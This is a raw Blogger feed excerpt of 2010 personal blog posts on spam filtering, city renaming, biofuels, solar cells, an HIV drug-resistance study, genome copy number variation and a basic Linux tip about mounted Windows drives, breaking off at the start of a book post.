/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/161937962676711793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=161937962676711793' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/161937962676711793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/161937962676711793'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/last-statue.html' title='The last statue'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3937785953054453080</id><published>2010-04-30T13:10:00.000-07:00</published><updated>2010-04-30T13:13:15.869-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>How is email spam found out?</title><content type='html'>Email spam is a not just a problem but more a menace with the increasing number of spammers that are active. Detection of spam mails from a collection of legitimate mails is a very important data classification problem. However, the impact of classifying a legitimate email as spam is more than filtering spam. Legitimate mail classified as spam is known as ham and is the result of improper classification. Hence, the threshold is selected in such a way as to avoid false negatives.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Various features of the mail such as the senders mail id (black listed or not), content of the mail in terms of occurrence of words common to spam mail like 'free', 'buy' etc are used to judge if a mail is spam or not.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Email Spam – detection and anti detection methods&lt;br /&gt;&lt;br /&gt;Server side filter out spam such as &lt;a href="http://spamassassin.apache.org/"&gt;spam assassin&lt;/a&gt; make use of rules which classify mail into spam and email based on occurrence of different types of words and features. It makes use of a neural network algorithm based method to do the classification. &lt;a href="http://spambayes.sourceforge.net/"&gt;Spam Bayes&lt;/a&gt; provides tools for desktop utilities such as outlook, gmail, yahoo POP3 and IMAP and many other popular email clients. It is based on stasticial analysis of the email content.&lt;br /&gt;&lt;br /&gt;The methods which rely on content based classification of spam have been very effective as the spammer has to deliver his spam message whose content is very different from a legitimate mail in many ways.&lt;br /&gt;&lt;br /&gt;The empire fights back&lt;br /&gt;&lt;br /&gt;The spam empire has fought back with many changes. Tools such as &lt;a href="http://www.programmersheaven.com/webtools/Spam-Checker/spamchecker.aspx"&gt;Spam checker&lt;/a&gt; will check the mail and suggest synonyms or changes to the mail to make it look less like spam and more like legitimate mail. Although the spammer can make such changes he cant make the mail ridiculously complex and incomprehensible. The new rules and new synonyms to escape the rules is an ongoing battle between spam and spam detectors. Gmail uses the same content based approach to decide what are relevant ads for that particular mail user.&lt;br /&gt;&lt;br /&gt;Using images in place of the words that might give them away has been a popular method among spammers to avoid detection by such content methods. Having to recognize the characters and words in the images and checking them for spam is the obvious solution. This seems to be a never ending battle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3937785953054453080?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3937785953054453080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3937785953054453080' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3937785953054453080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3937785953054453080'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/how-is-email-spam-found-out.html' title='How is email spam found out?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7789650072137550361</id><published>2010-04-28T19:25:00.000-07:00</published><updated>2010-04-28T19:50:10.673-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Would a rose by any other name smell as sweet?</title><content type='html'>Whenever there is huge rush to rename anything from a street to a nation, people often wonder whats the point in it all. Wouldn't a rose by any other name smell as sweet? Well name is important, or else we would not have a rename file option in windows.&lt;br /&gt;&lt;br /&gt;Lets see if it would smell as sweet in the below cases in which renaming was done:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Hot Springs is Mexico changed its name to Truth or Consequences to get a popular radio program hosted from its city. &lt;/li&gt;&lt;li&gt;Clark in Texas (America) renamed itself DISH and got itself free satellite television for 10 years in the bargain.&lt;/li&gt;&lt;li&gt;Más a Tierra in chile renamed itself as Robinson Crusoe Island&lt;/li&gt;&lt;/ol&gt;The new names rock at least in these 3 cases. May be we should have thought a little more and come up with really catchy names for our Indian cities before renaming them. We dint even get any commercial benefits from renaming them either, just the headache of having to change the names in all the places. Here are few "cool" names that we could have used instead&lt;br /&gt;&lt;br /&gt;Kolkata - A Coal Cat&lt;br /&gt;Mumbai - Bye Mom&lt;br /&gt;Pune - Puma&lt;br /&gt;Bengaluru - U R Ben's Gal &lt;br /&gt;&lt;br /&gt;Do let me know if you come up with something cool to rename to.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7789650072137550361?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7789650072137550361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7789650072137550361' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7789650072137550361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7789650072137550361'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/would-rose-by-any-other-name-smell-as.html' title='Would a rose by any other name smell as sweet?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1331679484413826684</id><published>2010-04-28T02:14:00.000-07:00</published><updated>2010-05-26T00:39:05.695-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='research'/><title type='text'>Finding patterns and rules in english words</title><content type='html'>I took a few hundred words in English starting with the letter "G" and few starting with letter "E". Hopefully i could get some pattern or rule in the way the letter after these letters was arranged. I managed to get as many as 51 rules for the way the letters appeared. The rules were all generated just based on the occurrence of a particular alphabet at a particular position.&lt;br /&gt;&lt;br /&gt;The most effective and pervasive rule was if Letter2(A) =&gt; D(G). So in my sample of words, the words starting with letter "G" had lot of words with second letter as "A".&lt;br /&gt;&lt;br /&gt;If i made the search more knowledgeable by putting in knowledge of vowels and consonants, more rules will turn up with better patterns. This might be even more interesting to try and find patterns in sentences.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1331679484413826684?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1331679484413826684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1331679484413826684' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1331679484413826684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1331679484413826684'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/finding-patterns-and-rules-in-english.html' title='Finding patterns and rules in english words'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5933837694688545801</id><published>2010-04-27T17:34:00.000-07:00</published><updated>2010-04-27T17:35:03.241-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Biodiesel and Photobioreactors</title><content type='html'>Biodiesel is a fuel similar to diesel that is obtained from oil rich plants such as reapeseed, soy, palm oil, sunflower or used cooking oils or phototrophic microorganisms. It has the advantage of producing lesser amounts of green house gases than fossil fuels. The main reason for the success of biodiesel is because it can be used without modification to engines and distribution systems.&lt;br /&gt;&lt;br /&gt;Biodiesel has some of the same problems as bioethanol. It can start a competition for land with other agricultural crops, causing decrease in food supply or increase in food prices. Hence, the focus is on microalgae and cyanobacteria to produce biodiesel. Since, the microbes can grow in saline environments, they are not as much a threat to food crop cultivation. These methods for production of biodiesel from microbes are still experimental and slow. Developments in bioreactor design and genetic modification of the microbes may make these methods more viable in the future.&lt;br /&gt;&lt;br /&gt;Growing the microbes required for biodiesel production requires photobioreactors as the microbes get their energy by photosynthesis. The  photobioreactors can be mainly classified into open and closed systems. Open systems are lakes and natural ponds which can be used to grow the microorganisms. Closed systems are tubular or flat panel shaped bioreactors. The tubular bioreactors can be horizontal or vertical.  Closed bioreactors have the advantage of not being contaminated and can be easily controlled. Open bioreactors have cost benefits.&lt;br /&gt;&lt;br /&gt;The design of the bioreactor is driven by various factors such as light considerations, gas exchange, nutrient availability, product recovery and contamination. Proper mixing is required to ensure time for both dark and light reactions to occur. Cooling is required to remove the heat due to high irradiation. Too much light is observed by the cells at the surface of the culture and lost as heat, this is known as the shading problem. Genetic engineering changes to the cells to have smaller photosynthetic antenna seems to reduce this problem considerably.&lt;br /&gt;&lt;br /&gt;Idea: The shading problem can be overcome by having cells of two different types in the reactor. The first type of cells do the light reaction and are positioned at the surface of the culture. Second type of cells do the dark reaction below the surface. The two cell types interact and exchange the products of their respective reactions through the medium.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5933837694688545801?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5933837694688545801/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5933837694688545801' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5933837694688545801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5933837694688545801'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/biodiesel-and-photobioreactors.html' title='Biodiesel and Photobioreactors'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2244289119199201425</id><published>2010-04-26T12:28:00.000-07:00</published><updated>2010-04-26T12:39:16.959-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><title type='text'>Acessing windows drives from linux terminal</title><content type='html'>Many of us use linux and windows on the same machine. The new bread of linux installs does a wonderful job of mounting the windows partitions for us. We can open the files and work on them from the comfort of the GUI.&lt;br /&gt;&lt;br /&gt;Some files and programs require to be run from the command line or terminal, especially in the case of linux. How do we access the windows drives on the command line? Since linux does not have the C,D and E drives impemented at the command line.&lt;br /&gt;&lt;br /&gt;The drives can be easily accessed from the /media/ folder. Just type &lt;span style="font-weight: bold;"&gt;cd /media&lt;/span&gt; in the terminal and you will land in the media folder. This folder will contain the list of all drives mounted in the recent past. Many of these folders will not be accessible outside the 'root' group of users. To know which folders are your windows drives, just run a &lt;span style="font-weight: bold;"&gt;ls -lrt&lt;/span&gt; in the terminal. The windows drive folders will have read, write and execute permission for you. Just cd into that folder and acess all the files in window drives from the linux terminal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2244289119199201425?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2244289119199201425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2244289119199201425' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2244289119199201425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2244289119199201425'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/acessing-windows-drives-from-linux.html' title='Acessing windows drives from linux terminal'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1463511524747408406</id><published>2010-04-25T22:00:00.000-07:00</published><updated>2010-04-25T22:21:16.528-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>First contact - fear of the aliens returns</title><content type='html'>The very first time we humans meet an alien race is a dream/nightmare scenario that has been played out many times in books and movies alike. Very existence of alien life forms has been postulated and hypothesized based on probability calculations. Considering the size and content of the universe, it might be expected that life could originate in other parts of the universe. Whether these life forms will just be microbes or intelligent life forms is a totally different possibility.&lt;br /&gt;&lt;br /&gt;The scientific community has seen contact with an alien race as a positive thing, going as far as to send out signals into space with directions to our planet. The search for extra terrestrials Intelligence is underway with many different approaches being tried. Benefits of a friendly alien race aside, the possibility of life outside planet earth gives us hope of a second home which we may one day require.&lt;br /&gt;&lt;br /&gt;Is it really wise to be doing this? what if the alien race just plunders earths resources? Concerns regarding this have been raised by the cosmologist Stephen Hawking, famous for his book "a brief history of time". Be it microbial or any other form of life we encounter, we may not be ready to face the complications that might arise. New and deadly diseases of alien origin could wipe out the entire planet. So do we just lay low till we are technically more advanced or do we try our luck in finding an alien?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1463511524747408406?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1463511524747408406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1463511524747408406' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1463511524747408406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1463511524747408406'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/first-contact-fear-of-aliens-returns.html' title='First contact - fear of the aliens returns'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7588432821181322620</id><published>2010-04-25T09:57:00.000-07:00</published><updated>2010-04-25T10:30:18.160-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Taking candy from a baby</title><content type='html'>"Taking candy from a baby" is defined as something that is easy to achieve in &lt;a href="http://en.wiktionary.org/wiki/like_taking_candy_from_a_baby"&gt;wiktionary&lt;/a&gt; and many other sites. However, is our interpretation correct? Come to think of it, there are lot of things that are easier than taking candy from a baby. Similes such as "easy as falling of a log" would be something thats just easy to achieve, as nothing mean is involved.&lt;br /&gt;&lt;br /&gt;A more appropriate usage would be doing something mean thats easy at the same time. Does it just reflect that being mean is so much part of everyday lives that we are just not thinking about it at all? Just take a look at this &lt;a href="http://www.youtube.com/watch?v=Mw2kjkRSWSk&amp;amp;feature=related"&gt;video&lt;/a&gt;, you will get an idea of how mean it really is. The baby will surely cry for a while. Taking candy from a baby sure requires a strong will and a stone heart.&lt;br /&gt;&lt;br /&gt;It seems there is also an explanation that the origin of this simile has nothing to do with candies or babies. Its interpreted as taking C.A.N.D (abbreviation for a type of cargo)from Bay B of a ship. Since ships generally use Bay B as the sick bay, its impossible to locate it, let alone take the cargo out of it. So basically taking candy from Bay B was impossible. A &lt;a href="http://literalminded.wordpress.com/2010/04/01/taking-candy-from-a-baby/"&gt;linguist&lt;/a&gt; (April 1st joke) explains how the expression originated on board ships and got to mean something else after coming ashore.&lt;br /&gt;&lt;br /&gt;We may never be able to prove if this is just a result of liberal attitudes towards being mean or the result of not having Bay B in ships.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7588432821181322620?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7588432821181322620/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7588432821181322620' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7588432821181322620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7588432821181322620'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/taking-candy-from-baby.html' title='Taking candy from a baby'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-302795762107330309</id><published>2010-04-22T11:30:00.000-07:00</published><updated>2010-04-22T11:32:21.155-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='research'/><title type='text'>A Rough Set-Based Model of HIV-1 Reverse Transcriptase Resistome</title><content type='html'>A huge effort is being put into find a treatment for AIDS. HIV, the causative agent  of AIDS has been studied in ever increasing detail to produce effective antiviral therapies. The high rate of replication and mutability of the virus leads to rapid drug-resistance in the virus. Efforts to overcome the AIDS pandemic would require drugs or drug regimens that can control the drug resistance in the virus.&lt;br /&gt;&lt;br /&gt;Reverse transcriptase is one of the viral enzymes that is required for transcribing the RNA to DNA. This transcription is required for the viral genes to get integrated into the host genome. Only after integrating into the host genome, the virus can replicate and propagate. Drugs that inactivate this enzyme can be very effective in stopping the replication of the virus. However, the rapid emergence of drug resistance in the enzyme has made it difficult to treat AIDS with any single drug. Among 25 drugs currently used in HIV therapy, 12 attempt at inhibiting reverse transcriptase enzyme.&lt;br /&gt;&lt;br /&gt;Drug resistance generally occurs due to a non-linear combination of mutations. Being able to predict if a drug will be effective against a particular mutant has been a useful tool in treatment. Further research has also given details about the mechanisms of drug resistance development and functionally important regions in the enzyme.&lt;br /&gt;&lt;br /&gt;In this study, local phyiscochemical properties of a protein sequence where used to understand and predict drug resistance. Annotated data from the Stanford HIV database was used to classify the mutants into three groups labeled as susceptible, moderately resistant and resistant. The Monte Carlo feature selection was used to select the best features from a total of 7* 560 properties. The selected features where used to generate rules to classify the sequences into the correct class. The method was tried based on data available for different  antivirals.&lt;br /&gt;&lt;br /&gt;Evaluation of the results was done by 10 fold cross validation of the data. Performance of the classifier was assessed based on prediction accuracy and area under the curve. Analysis of the results for the sites responsible for the resistance where found to be in correlation with the known sites. New sites that could lead to resistance have also been predicted. Newly discovered sites seem to have the resistance effect by disturbing the complex network of hydrophobic and polar interactions responsible for stability of tertiary structure.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-302795762107330309?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/302795762107330309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=302795762107330309' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/302795762107330309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/302795762107330309'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/rough-set-based-model-of-hiv-1-reverse.html' title='A Rough Set-Based Model of HIV-1 Reverse Transcriptase Resistome'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8667189447324755628</id><published>2010-04-21T10:07:00.000-07:00</published><updated>2010-04-21T10:08:09.973-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Bioethanol - fuel of the future?</title><content type='html'>Most of the alternative energy sources such as solar, wind, nuclear energy have a major drawback of not being useful as automobile fuels. Automobiles are one of the major consumers of the crude fuels today. This makes it necessary to have alternative energy source that can be used with the automobile engines being used today with little or no modifications. Bioethanol is one such alternative which has shown significant potential.&lt;br /&gt;&lt;br /&gt;Ethanol is produced by fungi such as Saccharomyces cerevisiae and bacteria such as Zymomonas mobilis. The raw material for this production of ethanol is sugar plants, cereals or ligno cellulose. The use of food crops for ethanol production has the disadvantage of having a negative impact on food production. Hence, the use of  ligno cellulose is a very attractive alternative.&lt;br /&gt;&lt;br /&gt;Ethanol production is dependent on having effective production and storage of raw materials, pretreatment, fermentation, the production step itself and transport and use of the final product. Each of these steps has many problems which have to be overcome. Cost benefits and impact on other agricultural products are the main concerns with respect to bio ethanol.&lt;br /&gt;&lt;br /&gt;Production of raw materials for ethanol production have to consider the impact on the environment due to increased usage of  fertilizers and pesticides. There has also been significant concern regarding the reduction in the rain forest to meet the energy needs. However, sugar cane is not grown on rain forest land and is not actually having any impact on the rain forests.&lt;br /&gt;&lt;br /&gt;Storage of raw materials has to provide the optimal conditions to maintain the correct water content for later use in fermentation. The raw material should also be protected from contamination and degradation during storage. Improvements in the fermentation and refinement of ethanol are also required to get better yields. Ethanol production has the advantage of being produced locally in most of the regions. However, concerns include over-utilization of land and destruction of rain forests.  Integration of the different steps in the production of ethanol will increase efficiency.&lt;br /&gt;&lt;br /&gt;Bioethanol is more sustainable than fossil fuels, but it may not be able to solely fulfill the growing need for energy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8667189447324755628?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8667189447324755628/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8667189447324755628' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8667189447324755628'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8667189447324755628'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/bioethanol-fuel-of-future.html' title='Bioethanol - fuel of the future?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8833634205063386667</id><published>2010-04-20T11:35:00.000-07:00</published><updated>2010-04-20T11:36:43.527-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Solar Energy and Solar cells</title><content type='html'>With the growing need for energy, alternative energy sources are being developed and refined. Solar energy is an attractive alternative as it is a relatively clean, renewable source of energy. Solar energy has been utilized in various ways such as for direct heating, electricity production and biomass production.&lt;br /&gt;&lt;br /&gt;The energy needs by the year 2050 have been projected to be 28 TW in comparison to the currently used 11 TW. Although solar energy could probably provide a significant share of the required energy, it needs to be made available at a reasonable cost. The price of a 100 W silicon panel for converting solar to electric energy is 350 to 400 US dollars. However, this is too expensive to be practical. The exponential growth of about 40% per year has been mostly driven by huge subsidies from the government.&lt;br /&gt;&lt;br /&gt;A solar cell is a device that converts solar energy directly into electricity[1]. The first generation solar cells transform light energy by using crystalline or amorphous silicon as inorganic solid-state material. The first generation cells are very expensive due to the cost involved in purification and production of the solar cells. The second generation solar cells make use of thin film as the core of the solar cell.  The 3rd generation of solar cells is inspired by photosynthesis and has shown the potential to be more cost effective.&lt;br /&gt;&lt;br /&gt;Dye- sensitized solar cells have been used to generate a potential gradient to generate electricity. These solar cells have shown good performance in diffuse light and have low investment cost to initiate production. The dye stability has been improved upto 15 years in sunlight by continued research. Titanium dioxide has emerged as the semiconductor of choice due to its abundance, non-toxicity, cost and compatibility.&lt;br /&gt;&lt;br /&gt;Solar cells are facing the problem of scalability as the third generation cells are not being cost effective at large scale. Further developments in the field would be focused on better conversion efficiency and cost of production and maintenance.&lt;br /&gt;&lt;br /&gt;My idea:&lt;br /&gt;&lt;br /&gt;A biological model such as living organism capable of generating the potential gradient could be a idea worth exploring as the cost of production could be reduced. Many organisms are known to be capable of maintaining potential gradients. The challenge would probably be to combined the potential gradients of individual cells to get a net higher potential.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8833634205063386667?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8833634205063386667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8833634205063386667' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8833634205063386667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8833634205063386667'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/solar-energy-and-solar-cells.html' title='Solar Energy and Solar cells'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5484269272409436709</id><published>2010-04-18T07:01:00.000-07:00</published><updated>2010-04-18T07:17:12.369-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nature'/><title type='text'>Copy Number Variation - the root of all evil and good?</title><content type='html'>Human genomes contain repeated segments of DNA through most of the genome. When the number of copies of the repeats vary between different human beings, we have a copy number variation. Few regions of the genomes are popular locations for such variations, these regions which have different number of copies are known as copy number variant regions.&lt;br /&gt;&lt;br /&gt;Copy number variable regions(CNVR's) are of particular interest as they can be responsible for diseases and prototypic differences between individuals. Similar to single nucleotide polymorphisms (SNP's) which are disease markers, these regions have been associate with many conditions. These regions have also been associated with resistance from infection by HIV and Malaria.&lt;br /&gt;&lt;br /&gt;The importance of these regions becomes apparent as copy number variation maps are being generated and updated into &lt;a href="http://projects.tcag.ca/variation/"&gt;genomic variant databases&lt;/a&gt;. This type of data will be useful in understanding the relations between CNVR's and specific characters. Evolutinary impact of these regions could also be anlaysed to get an understanding of how evolution proceeded.&lt;br /&gt;&lt;br /&gt;It will require a more clear understanding of the role of CNVR's to really appreciate how much they influence the different characters. May be they are root of all evil and good, but again they might just be a part of the bigger puzzle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5484269272409436709?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5484269272409436709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5484269272409436709' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5484269272409436709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5484269272409436709'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/04/copy-number-variation-root-of-all-evil.html' title='Copy Number Variation - the root of all evil and good?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-877484810507681106</id><published>2010-04-13T19:36:00.000-07:00</published><updated>2010-04-13T19:38:07.029-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='book'/><title type='text'>Monday Morning - Swami and Friends</title><content type='html'>Our hate for Monday mornings may have something to do with the same things as 